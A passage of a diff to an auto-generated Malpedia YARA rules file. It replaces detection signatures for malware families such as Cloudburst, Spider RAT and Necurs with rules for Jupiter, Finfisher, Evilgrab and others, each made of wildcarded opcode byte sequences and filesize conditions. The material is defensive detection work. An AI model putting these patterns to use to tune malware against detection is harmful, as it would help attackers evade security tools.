$sequence_6 = { 58 c20c00 ff05???????? 833d????????01 55 56 57 } + $sequence_7 = { 68???????? ff742410 ff15???????? 8bf0 85f6 7416 57 } + $sequence_8 = { 8888009f2900 eb1f 83f861 7213 83f87a } + $sequence_9 = { ff742410 ff15???????? 8bf0 85f6 7416 57 56 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Cloudburst_Auto : FILE +rule MALPEDIA_Win_Jupiter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "66798bc9-d5a7-5171-afa8-26e587fd1d6d" + id = "75f69a27-2335-5e55-aba0-ab6c4b24c511" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudburst" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudburst_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jupiter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jupiter_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "4402c4459a61713f167f313847e8e10fbc4c4d6c965b37f16be2690ee599b8f7" + logic_hash = "9a9545049cbc95230bffe2c6ee7b65da4bdadff47104616baed37c8cd6306b50" score = 75 quality = 75 tags = "FILE" @@ -85520,34 +85469,34 @@ rule MALPEDIA_Win_Cloudburst_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33d3 41891424 4133d3 4189542404 } - $sequence_1 = { 49ffc0 eb39 0fb6c1 43c6041825 } - $sequence_2 = { 4585c0 743e 488b0d???????? 4c8d4c2448 488bd7 } - $sequence_3 = { 45330c24 45894c2410 4133d1 4189542414 448bc2 4533442408 } - $sequence_4 = { 0f8cb0000000 48897c2450 4c89642458 488bfe } - $sequence_5 = { 4d8bf8 440fb6420c 41c1e108 4c8d35a3e5ffff 41c1e008 c1e708 } - $sequence_6 = { 418bea 4589542440 33eb 8bc5 } - $sequence_7 = { c744245068000000 48894598 c744247004010000 c745a004010000 } - $sequence_8 = { 418bc6 99 83e20f 03c2 8bc8 83e00f 3bc2 } - $sequence_9 = { 418b4424fc 418942fc 4183bf0002000001 0f8e3d010000 90 458b4c24e0 41ffc6 } + $sequence_0 = { c605????????01 66c705????????0101 c605????????01 c605????????01 } + $sequence_1 = { 8a4147 884104 8a4146 884105 8b4144 c1f808 884106 } + $sequence_2 = { 884104 8a4146 884105 8b4144 c1f808 884106 8a4144 } + $sequence_3 = { 8a4146 884105 8b4144 c1f808 884106 } + $sequence_4 = { c605????????01 c605????????01 66c705????????0101 c605????????01 } + $sequence_5 = { 8a4147 884104 8a4146 884105 } + $sequence_6 = { c605????????01 66c705????????0101 c605????????01 c605????????01 66c705????????0101 c605????????01 } + $sequence_7 = { 884104 8a4146 884105 8b4144 } + $sequence_8 = { 52 52 6802000000 6803000000 } + $sequence_9 = { 8a4146 884105 8b4144 c1f808 } condition: - 7 of them and filesize < 2363392 + 7 of them and filesize < 224112 } -rule MALPEDIA_Win_Roopy_Auto : FILE +rule MALPEDIA_Win_Graphdrop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8be7b2c4-b174-500b-b0ea-f2839cb0b383" + id = "237c51dc-e941-5d7c-b6d3-2562536d7e1c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roopy_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphdrop_auto.yar#L1-L106" license_url = "N/A" - logic_hash = "e98d1af71e72ca48289280b30ed691a17624b5a4815404358ace55f7593ba961" + logic_hash = "0e6707eb4bbec74f1d6caa5a7e229009514fcba8c763f4b645f99a1b6c93d629" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -85559,32 +85508,32 @@ rule MALPEDIA_Win_Roopy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d45c0 30c9 ba38000000 e8???????? c745c0504b0606 8d45a8 } - $sequence_1 = { 8b45f8 c7401400000000 8b45f8 e8???????? c745f401000000 } - $sequence_2 = { 6631d2 8d85d8feffff e8???????? 8d45dc 30c9 6631d2 } - $sequence_3 = { 8b09 ff5164 8345f401 8b45f8 8b4004 e8???????? } - $sequence_4 = { c78580fdffff00000000 c78584fdffff00000000 c7858cfeffff00000000 31c0 } - $sequence_5 = { 6631c9 ba03010000 e8???????? 8b85b8feffff ba???????? } - $sequence_6 = { c7406000000000 8b45f4 c7406400000000 8b45f4 83785c00 770b 7210 } - $sequence_7 = { 30c9 6631d2 e8???????? 0fb745fc 68ff000000 8d8dd8feffff baffffffff } - $sequence_8 = { d805???????? d80d???????? 895df0 897df4 0fba65f41f df6df0 7306 } - $sequence_9 = { 8b52fc 29c2 8d4a01 8d5001 8b45fc e8???????? 89d8 } + $sequence_0 = { 4155 0f77 53 90 } + $sequence_1 = { 4155 49c7c501000000 4150 4152 415a 4158 } + $sequence_2 = { 0f77 4157 90 415f } + $sequence_3 = { 0f77 0f77 415d 90 } + $sequence_4 = { 50 58 5a 49ffc9 } + $sequence_5 = { 0f77 0f77 5b 0f77 } + $sequence_6 = { 90 0f77 415c e9???????? } + $sequence_7 = { 49c7c501000000 4150 4152 415a } + $sequence_8 = { 4150 4152 415a 4158 } + $sequence_9 = { 0f77 4155 0f77 4150 } condition: - 7 of them and filesize < 739328 + 7 of them and filesize < 4186112 } -rule MALPEDIA_Win_Spider_Rat_Auto : FILE +rule MALPEDIA_Win_Voidoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5c1d0a0a-c7b7-560c-afbd-cff397912aa2" + id = "21b775d6-fc03-5dd6-a228-147ffaddc7f0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spider_rat_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.voidoor_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "91b51e3f34e8589c66f7bc8774754ce78933dd5fa4cfa89093817c8c758e1ad5" + logic_hash = "3d15a11c9349ebbd78b8b5ac32c650a51c9ca8251bf91feba17b7b25a2692cb6" score = 75 quality = 75 tags = "FILE" @@ -85598,32 +85547,32 @@ rule MALPEDIA_Win_Spider_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 493bce 7415 488b01 4d8bc5 ba01000000 ff5020 8bd8 } - $sequence_1 = { 833903 b801000000 756e 397104 7569 488b4908 4885c9 } - $sequence_2 = { e8???????? cc 488d88c0000000 488d15b2f7ffff e8???????? 8bce 483bc6 } - $sequence_3 = { 7433 488bc8 833904 7517 44396104 7511 } - $sequence_4 = { 4c8be8 c64424305c 41b901000000 4983c8ff 488d542430 488bce e8???????? } - $sequence_5 = { 0fb601 8807 48ffc1 48ffc7 84c0 75f1 49837d2010 } - $sequence_6 = { 4883ec20 488d05df860200 488bf9 488901 4883c118 e8???????? 488b5718 } - $sequence_7 = { 488b4c2440 488d542478 488b01 ff5018 413bc6 8bd8 0f8c4c010000 } - $sequence_8 = { b890900100 e8???????? 482be0 48c7442448feffffff 488b05???????? 4833c4 4889842480900100 } - $sequence_9 = { 664489442420 4533c9 4c8d05322a0200 418b9424f0000000 ff5030 488b8c2420010000 488b01 } + $sequence_0 = { 740d 83cb40 eb66 81cb80000000 eb5e 83cb20 eb59 } + $sequence_1 = { 83c404 837c241000 7509 55 e8???????? 83c404 5b } + $sequence_2 = { c786a805000002000000 5e c3 83f901 74bf 68???????? 50 } + $sequence_3 = { c7461807000000 eb36 803f0a 756d 47 83c3ff c7461807000000 } + $sequence_4 = { 0f8498000000 83f801 0f848f000000 83f8ff 0f8486000000 f6470c82 7551 } + $sequence_5 = { e8???????? 83c404 85c0 0f8547010000 817e782c010000 0f8cdc000000 39850c030000 } + $sequence_6 = { ff33 ffd6 ff7304 ffd6 8b4c243c 5f 5e } + $sequence_7 = { e9???????? 8d8de8fdffff e9???????? 8d8d48feffff e9???????? 8b8d78fcffff e9???????? } + $sequence_8 = { c78424e005000001010101 c78424e405000001010101 66c78424e80500000100 33c9 8bff 8a848c08050000 3422 } + $sequence_9 = { e9???????? 57 33ff 8bcf 894de4 8bc7 3998f8f14b00 } condition: - 7 of them and filesize < 1107968 + 7 of them and filesize < 1744896 } -rule MALPEDIA_Win_Kamasers_Auto : FILE +rule MALPEDIA_Win_Finfisher_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c1a7cc0c-2e35-5239-9e79-174b829766cd" + id = "3bd8079e-f604-51ea-b8f2-fef52df0002f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kamasers" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kamasers_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.finfisher_auto.yar#L1-L140" license_url = "N/A" - logic_hash = "bc9204b6b1cca7a86ddf29783e99c6413f2a7179ee494a096a7a149c0e384519" + logic_hash = "36bd2bd78748a7bd0a2049fe313cd0daa82b47af68134d330004d325ff7392ca" score = 75 quality = 75 tags = "FILE" @@ -85637,32 +85586,36 @@ rule MALPEDIA_Win_Kamasers_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c414 ebe1 8b55ec 8b4de8 8b04957885f904 807c082800 7d55 } - $sequence_1 = { 7602 8b06 8a4c3a04 80f13f 884c1004 83c205 83fa19 } - $sequence_2 = { 7776 51 52 e8???????? 83c408 c745e400000000 c745e80f000000 } - $sequence_3 = { 33c0 0f57c0 c78558feffff02000000 0f118548feffff 66898548feffff ba0f000000 88854afeffff } - $sequence_4 = { ffb5b4dbffff 8d85f0efffff f7d1 50 ffb5f8dbffff 66898dfaefffff ff95b0dbffff } - $sequence_5 = { 8b85e8fdffff 83f80f 7634 8b95d4fdffff 8d4801 8bc2 81f900100000 } - $sequence_6 = { 0f85be000000 8d4dd4 e8???????? 50 8d4d98 e8???????? 8b4de8 } - $sequence_7 = { 6a01 68???????? 8d8d40edffff c645fc13 e8???????? c785fcd8ffff00000000 } - $sequence_8 = { 0f875c070000 51 52 e8???????? 83c408 837de80f } - $sequence_9 = { 8bc8 2bcf b8abaaaa2a f7e9 8b4b04 c1fa02 2bcf } + $sequence_0 = { 57 56 8d85ccf9ffff 50 } + $sequence_1 = { 68???????? 6804010000 8d85ccf9ffff 50 } + $sequence_2 = { 8d85bcf7ffff 50 6a01 56 56 } + $sequence_3 = { 0f855b040000 8b85b0f7ffff 8b400c 8b8db8f7ffff 8908 89bda0f7ffff } + $sequence_4 = { 6a04 56 ff15???????? 8bd8 3bdf 7561 } + $sequence_5 = { e8???????? b982000000 8bf7 8dbddcfdffff f3a5 } + $sequence_6 = { 48 7526 8b4508 8b4028 } + $sequence_7 = { 56 53 50 ff15???????? eb05 } + $sequence_8 = { 8d45f4 50 53 897508 e8???????? } + $sequence_9 = { 8bd8 ff15???????? 8845ff 897df8 } + $sequence_10 = { 8b7508 89b5ccfdffff 85f6 7508 } + $sequence_11 = { 8bd8 3bde 0f8583030000 66c78572f7ffff0401 } + $sequence_12 = { 6824020000 68???????? e8???????? 8b7508 } + $sequence_13 = { 897de4 56 e8???????? 50 } condition: - 7 of them and filesize < 906240 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Elirks_Auto : FILE +rule MALPEDIA_Win_Glooxmail_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "43457097-ea8b-5864-bbde-86ef37584143" + id = "69068c2d-618b-514f-89ee-0c12a27c7775" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.elirks_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glooxmail_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "9b5bf7e4bf894eff89b4a5704e72b876af8697001a5b80ec9161e8abc0610ab3" + logic_hash = "fd925824bd22779b63be73d9209717bd4d4f69fd8a16644a721055340873e4d2" score = 75 quality = 75 tags = "FILE" @@ -85676,32 +85629,32 @@ rule MALPEDIA_Win_Elirks_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 894608 5f 5e 81c40c020000 c3 } - $sequence_1 = { 0f848b010000 8b742414 8b15???????? 6a00 8d442440 50 } - $sequence_2 = { 56 8d7e08 57 8d442420 50 8d4c241c 51 } - $sequence_3 = { 52 8d5104 83c0ff 52 } - $sequence_4 = { 8d4c2414 51 8bd1 52 ff15???????? f605????????02 742c } - $sequence_5 = { 52 6a00 8bc3 e8???????? 85c0 7515 } - $sequence_6 = { 6a0c 50 b908000000 8bc7 e8???????? 8bf0 83c408 } - $sequence_7 = { 0f8592000000 f605????????08 a1???????? 53 8b1d???????? } - $sequence_8 = { 8b1d???????? 8b2d???????? 8b8120c20000 6aff 50 } - $sequence_9 = { e8???????? 85c0 7414 8b44241c 8d542410 } + $sequence_0 = { 8d55c0 52 8d9564ffffff c645fc4a 8b01 52 ff5044 } + $sequence_1 = { e8???????? 385df3 7407 c745ec40000000 68???????? 8d8d7cffffff e8???????? } + $sequence_2 = { 6a01 8d8c24f0020000 81e3fff7ffff e8???????? f7c300040000 740f 56 } + $sequence_3 = { 8d4dd8 e9???????? 8b4d08 e9???????? 8b4508 054c040000 e9???????? } + $sequence_4 = { 814df000020000 68???????? 8d4db4 e8???????? 8d85b8feffff 50 8d45b4 } + $sequence_5 = { 83a50cfffffff7 8d8d30feffff e9???????? c3 8d4db8 e9???????? 8d8dd8feffff } + $sequence_6 = { 8bfb e8???????? 33f6 33ff 56 47 57 } + $sequence_7 = { 895dcc f645d008 740e 8365d0f7 53 57 8d4d84 } + $sequence_8 = { ff750c 83a424bc00000000 8d442430 50 e8???????? } + $sequence_9 = { e8???????? c78424600800006d000000 f744241000000080 7417 81642410ffffff7f 53 } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 761856 } -rule MALPEDIA_Win_Isaacwiper_Auto : FILE +rule MALPEDIA_Win_Afrodita_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a82e3ec4-c6b5-5b3d-9ab0-3064ec3e836c" + id = "0b89d48b-e8eb-5aec-a4a1-cb25be8e6ea8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isaacwiper_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.afrodita_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "8d7d093defd2064582c177175fbd158891b23ac1a28e0ebb5ab5f45a7b73a475" + logic_hash = "ba96a282578cd431adb4de4c63175081873626ab508dce847aa3397ecdd6e0da" score = 75 quality = 75 tags = "FILE" @@ -85715,32 +85668,32 @@ rule MALPEDIA_Win_Isaacwiper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3bc8 737f 2bf9 8b4c2430 3bcf 0f8245020000 } - $sequence_1 = { 03c2 3bc3 8b5df4 72d5 eb37 83f802 } - $sequence_2 = { 83e03f c1f906 6bf038 03348de8670310 837e18ff 740c 837e18fe } - $sequence_3 = { 83c408 3bc3 8d48ff 0f46c1 014658 837e5815 7368 } - $sequence_4 = { 8b03 51 c744243007000000 8bcb 7445 ff501c 8d442430 } - $sequence_5 = { 50 c7460800000000 c7461000000000 c7461400000000 e8???????? 83c404 } - $sequence_6 = { 3914c598c00210 7408 40 83f81d } - $sequence_7 = { e8???????? 8ac8 83c404 46 83c768 84c9 75e4 } - $sequence_8 = { 8b4d0c 83d900 8945e0 894ddc c745f800000000 897dd8 895df4 } - $sequence_9 = { 69c9dfb00899 33ca 338c8634060000 890c86 40 3de3000000 72cf } + $sequence_0 = { 50 ff75dc e8???????? 83c40c 84c0 0f84aa030000 } + $sequence_1 = { 52 53 ff7508 8b4004 c645fc01 8b4c3038 8b01 } + $sequence_2 = { e8???????? 83c404 c645fc09 8d8d6cffffff ff75a0 e8???????? 83e3df } + $sequence_3 = { 6a7d 8d4d80 53 e8???????? e9???????? 83ff4d 0f8443010000 } + $sequence_4 = { 33c8 8b45f0 3345e4 23c7 8b7ddc 3345e4 03c8 } + $sequence_5 = { 837d1000 8b10 0f444d10 51 56 } + $sequence_6 = { 2345e4 03ca 3345f4 03c1 8945e4 85db 7437 } + $sequence_7 = { 51 8d4b04 ff5008 68???????? 50 8d45c0 c745fc00000000 } + $sequence_8 = { 7445 833d????????00 743c 56 6a10 8d45ec 50 } + $sequence_9 = { e8???????? eb05 e8???????? 83c404 8b9564ffffff 399560ffffff 8bb568ffffff } condition: - 7 of them and filesize < 467968 + 7 of them and filesize < 2334720 } -rule MALPEDIA_Win_Necurs_Auto : FILE +rule MALPEDIA_Win_Turian_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "86cbd739-582e-5cdb-a27a-e3c4138c2a5e" + id = "55f5d82f-afb8-5814-b531-1c9c01e3bde2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.necurs_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turian_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "39922dfc2893e9d4c51db465a227b3ce728857825f7b204e465cc4626e505419" + logic_hash = "91e36be52281255f5afb4546bb919f97cb536e7671085e0b38ecf9a977103ea1" score = 75 quality = 75 tags = "FILE" @@ -85754,39 +85707,33 @@ rule MALPEDIA_Win_Necurs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8bf2 ba06e0a636 f7e2 } - $sequence_1 = { 13f2 a3???????? 8935???????? 890d???????? 8bc1 } - $sequence_2 = { 33d2 030d???????? a3???????? a1???????? } - $sequence_3 = { 397508 7604 33c0 eb12 } - $sequence_4 = { 890d???????? 8bc1 5e c3 55 8bec } - $sequence_5 = { 46 f7f6 8bc2 034508 5e 5d c3 } - $sequence_6 = { 0f31 8bc8 a1???????? 56 } - $sequence_7 = { 33c0 eb12 e8???????? 2b7508 } - $sequence_8 = { 8d85ecfbffff 57 50 e8???????? 83c410 } - $sequence_9 = { 33d7 33c1 52 50 } - $sequence_10 = { ffd6 8bf8 59 59 85ff 74df } - $sequence_11 = { 5e 5f c9 c3 8b35???????? } - $sequence_12 = { 99 6848640300 68da279b71 33d7 } - $sequence_13 = { 8bc1 8bd7 e9???????? 83caff 8bc2 e9???????? } - $sequence_14 = { 57 57 57 8d8574ffffff 50 } - $sequence_15 = { 8bc1 0bc7 7409 8bc1 8bd7 e9???????? } + $sequence_0 = { 5b 81c420040000 c3 8d442410 6a10 50 } + $sequence_1 = { 33db 3bc3 7519 668b44240c 881d???????? 891d???????? } + $sequence_2 = { 5e c3 8bc8 57 c1e105 } + $sequence_3 = { 85c0 0f840affffff 5f 5e 5d 33c0 } + $sequence_4 = { 83c9ff 33c0 668b15???????? f2ae } + $sequence_5 = { 8d4c2410 51 e8???????? 8bbc24a0000000 83c404 a1???????? } + $sequence_6 = { 51 52 ffd5 85c0 7423 a1???????? 43 } + $sequence_7 = { 83f810 7e6a 6a00 57 53 } + $sequence_8 = { 56 57 730c 5f } + $sequence_9 = { 8b442414 50 ffd7 56 ff15???????? 83c404 33c0 } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 645120 } -rule MALPEDIA_Win_Wndtest_Auto : FILE +rule MALPEDIA_Win_Zupdax_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fa7e1d3e-ff37-533f-8f3a-ddc800dad583" + id = "de5aa4fa-5f17-5443-8ded-540bc4f1be04" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wndtest_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zupdax_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "e52dae40ef4794c37daf120253466cc3a5d1ee85941c6b51e3b69e035267f66f" - score = 50 + logic_hash = "eb046345ff3af30eb975f6808cc5770691e59266f20f528282b1aa4111a1c56b" + score = 75 quality = 75 tags = "FILE" version = "1" @@ -85799,32 +85746,32 @@ rule MALPEDIA_Win_Wndtest_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89461c 8907 894704 894708 89470c 894710 } - $sequence_1 = { 8945fc eb03 8b45fc 8b5d08 } - $sequence_2 = { 53 6a00 ff15???????? 6a0d ff15???????? } - $sequence_3 = { 8b4de8 41 51 e8???????? 83c404 } - $sequence_4 = { 5e 8be5 5d c3 880c3e 5f 5e } - $sequence_5 = { 6805010000 e8???????? 83c404 6804010000 8bd8 53 6a00 } - $sequence_6 = { 33c9 8d460a ba02000000 f7e2 0f90c1 f7d9 } - $sequence_7 = { 50 56 ffd7 a3???????? 8b0d???????? 8b15???????? } - $sequence_8 = { 46 895dfc 3b750c 7cbe 5f } - $sequence_9 = { c3 880c3e 5f 5e } + $sequence_0 = { e8???????? 83c408 8b06 50 895e0c 895e10 } + $sequence_1 = { 8b4c2408 8b7e28 51 e8???????? 8b5624 52 e8???????? } + $sequence_2 = { 56 57 33c9 33f6 33ff 394c2414 } + $sequence_3 = { 7522 e8???????? 8b0d???????? 51 8b0d???????? } + $sequence_4 = { e8???????? 83c408 8b4618 50 895e24 } + $sequence_5 = { 51 e8???????? 83c418 8bc6 c3 } + $sequence_6 = { 895e2c e8???????? 8b460c 83c404 3bc3 } + $sequence_7 = { 52 e8???????? 83c408 8b06 50 895e0c 895e10 } + $sequence_8 = { 3bc3 7419 8b4c2408 8b7e28 51 } + $sequence_9 = { 8d4618 6a00 50 c706ffffffff } condition: - 7 of them and filesize < 901120 + 7 of them and filesize < 1032192 } -rule MALPEDIA_Win_Tokyox_Auto : FILE +rule MALPEDIA_Win_Bubblewrap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d34e4ceb-0bc2-5477-9c12-3a529f2527e6" + id = "8af5c082-aa6b-50c2-beb7-d15cea5a0e28" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tokyox_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bubblewrap_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "a5f77c70b1ac6566e10c0515d32c74e5ec77d8ebaa8bcecbb1bfc331f53b6f71" + logic_hash = "9768a3ec06517eeb8d4ed3cf1b68ed17318c56d44232a674eb24375a5c01ec8d" score = 75 quality = 75 tags = "FILE" @@ -85838,32 +85785,32 @@ rule MALPEDIA_Win_Tokyox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 0f84b6010000 8d4590 } - $sequence_1 = { e8???????? 8b4508 83c40c b90d0a0000 66890c07 } - $sequence_2 = { c745f450726f64 50 6a00 8d45f4 c745f87563744e } - $sequence_3 = { 0f842e020000 8d4df0 c745fc00000000 51 } - $sequence_4 = { 8d45f8 50 6a05 ff7608 ffd7 6a3c ff7510 } - $sequence_5 = { 51 56 6a00 68e9fd0000 ff15???????? 8945e4 33db } - $sequence_6 = { 7534 83f801 721f 66a1???????? 8d5601 } - $sequence_7 = { 8bec a1???????? 3b05???????? 0f85a10f0000 ff7508 e8???????? 59 } - $sequence_8 = { 8bf2 c745a046003400 c745a435003000 c745a831002d00 c745ac46003400 c745b034004700 c745b42d003400 } - $sequence_9 = { ff15???????? 894608 85c0 754e ff15???????? 8b4e08 } + $sequence_0 = { 83c9ff f2ae f7d1 49 c605????????ee c605????????03 } + $sequence_1 = { c21000 55 68???????? 6a01 6a00 ff15???????? } + $sequence_2 = { 8915???????? 8b15???????? a3???????? 66a1???????? 880d???????? b910000000 } + $sequence_3 = { 8bca 89442414 83e103 55 } + $sequence_4 = { 83e103 f3a4 8dbc24ac000000 83c9ff } + $sequence_5 = { e8???????? 83c408 be???????? b8???????? 8a10 } + $sequence_6 = { c1e902 f3a5 8bca 83e103 f3a4 be???????? b8???????? } + $sequence_7 = { 8bc1 894c2414 3bc5 0f821cffffff 8b6c2424 b967010000 33c0 } + $sequence_8 = { 8b0d???????? 8b15???????? 894c0435 b920000000 8d742434 bf???????? } + $sequence_9 = { 8b15???????? f2ae f7d1 49 bf???????? } condition: - 7 of them and filesize < 237568 + 7 of them and filesize < 57136 } -rule MALPEDIA_Win_Webc2_Ausov_Auto : FILE +rule MALPEDIA_Win_Evilgrab_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9f7dcd3a-83e3-51b1-b972-c6423fd03466" + id = "262a5f1e-fc32-5e23-bc68-1916bf6229d5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_ausov_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilgrab_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "54e3ad7a65c1020ea5947e1b7fb8d16c99e374f254cf080dd27feb76035c9b99" + logic_hash = "f2b39911d0e0c2e89edee53b595cd7abbfb96f83612f1946b2208648a7f155b2" score = 75 quality = 75 tags = "FILE" @@ -85877,32 +85824,32 @@ rule MALPEDIA_Win_Webc2_Ausov_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83854cfaffff02 80bd46faffff00 75ae c78540faffff00000000 eb0b 1bc0 83d8ff } - $sequence_1 = { 0f8407000000 0f8501000000 f8 8b550c } - $sequence_2 = { b941000000 33c0 8dbda9faffff f3ab } - $sequence_3 = { 7546 80bd47faffff00 7431 8b8548faffff 8a4801 888d46faffff } - $sequence_4 = { 0355f4 0fbe4201 3345f4 8945fc 0f8407000000 } - $sequence_5 = { 6a00 8d85a8faffff 50 8d8dbcfcffff } - $sequence_6 = { 85c9 740d 85c0 7409 5f 5e } - $sequence_7 = { 6a00 68???????? 8d85f8fbffff 50 e8???????? 83c408 50 } - $sequence_8 = { 0f8501000000 f8 68???????? 8d8dfcfbffff 51 e8???????? 83c408 } - $sequence_9 = { ffd3 8bf0 85f6 0f8487000000 8b3d???????? } + $sequence_0 = { 8b08 50 ff5108 83c8ff e9???????? 8b442410 50 } + $sequence_1 = { ff15???????? 894320 83f8ff 741e c785dce6ffff00000000 c6431601 6a46 } + $sequence_2 = { 0f8437feffff 8b442418 50 ff15???????? 5f 5e } + $sequence_3 = { 68ff000000 e8???????? 8bd0 b93f000000 33c0 8bfa f3ab } + $sequence_4 = { 55 56 3bc2 57 bd01000000 0f84ef010000 } + $sequence_5 = { c78514f6ffff00000000 b8???????? c3 8b8df0f5ffff 8b5124 89951cf6ffff b8???????? } + $sequence_6 = { ff8db4adffff 0f856dffffff 8d8dc0d2ffff 51 8bcb e8???????? e9???????? } + $sequence_7 = { 57 8d8de8adffff 51 8d95dcadffff 52 